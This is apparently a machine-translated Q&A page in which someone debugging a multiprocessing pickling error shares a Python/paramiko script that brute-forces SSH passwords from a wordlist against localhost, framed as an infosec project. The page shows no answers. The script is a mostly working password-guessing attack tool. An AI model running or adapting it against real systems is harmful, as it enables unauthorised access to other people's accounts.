Python多重处理-TypeError:腌制AuthenticationString

时间:2018-10-20 11:51:45

标签: python-3.x multithreading

我正在制作一个python脚本,该脚本最初创建线程,并使用它们作为单词列表(信息安全项目的一部分)在本地计算机上强行使用端口22。

当线程过多时,我遇到了问题,我想优雅地杀死它们并退出程序,因此我开始考虑多处理,而不是基于用户cfi的post's答案。

我的问题是,当我运行该程序时,出现以下错误。

python3 ssh_brute.py 
[*] Pass not found
Traceback (most recent call last):
  File "/Users/richardcurteis/anaconda3/lib/python3.7/multiprocessing/queues.py", line 236, in _feed
    obj = _ForkingPickler.dumps(obj)
  File "/Users/richardcurteis/anaconda3/lib/python3.7/multiprocessing/reduction.py", line 51, in dumps
    cls(buf, protocol).dump(obj)
  File "/Users/richardcurteis/anaconda3/lib/python3.7/multiprocessing/process.py", line 330, in __reduce__
    'Pickling an AuthenticationString object is '
TypeError: Pickling an AuthenticationString object is disallowed for security reasons

我认为我在多处理API上做错了什么,但是我不确定到底是什么。我看过docs,我相信自己或多或少都在轨道上。

我想念什么?

代码:

import paramiko
from multiprocessing import Queue, Process

TARGET_IP = 'localhost'
USERNAME = 'richardcurteis'
WORDLIST = 'test2.txt'
MAX_THREADS = 10
processes = []
found = []
q = Queue()


def ssh_connect(target_ip, username, password):
    ssh = paramiko.SSHClient()
    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy)

    try:
        ssh.connect(target_ip, username=username, password=password)
        found.append(password)
        q.put(password)
    except paramiko.ssh_exception.AuthenticationException:
        print("[*] Failed: ", password)
        return False
    finally:
        ssh.close()

    return True


def close_threads(abort=False):
    for p in processes:
        p.join()
        if abort:
            for x in processes:
                x.terminate()

    processes.clear()


def main():

    with open(WORDLIST) as input_handle:
        process_count = 0
        for line in input_handle:
            try:
                password = line.rstrip()
                p = Process(target=ssh_connect, args=[TARGET_IP, USERNAME, password])
                processes.append(p)
                p.start()
                q.put(p)
                process_count += 1

                if not q.empty():
                    break
                if process_count >= MAX_THREADS:
                    close_threads()
                    process_count = 0

            except KeyboardInterrupt:
                print("[!] Interrupted by user")
                break
            except (ConnectionResetError, paramiko.ssh_exception.SSHException):
                print("[X] Connection reset by target. Reduce thread count")
                break

        close_threads()

        if len(found) > 0:
            for c in found:
                print("[!] Found: ", c)
        else:
            print("[*] Pass not found")


if __name__ == '__main__':
    main()

0 个答案:

没有答案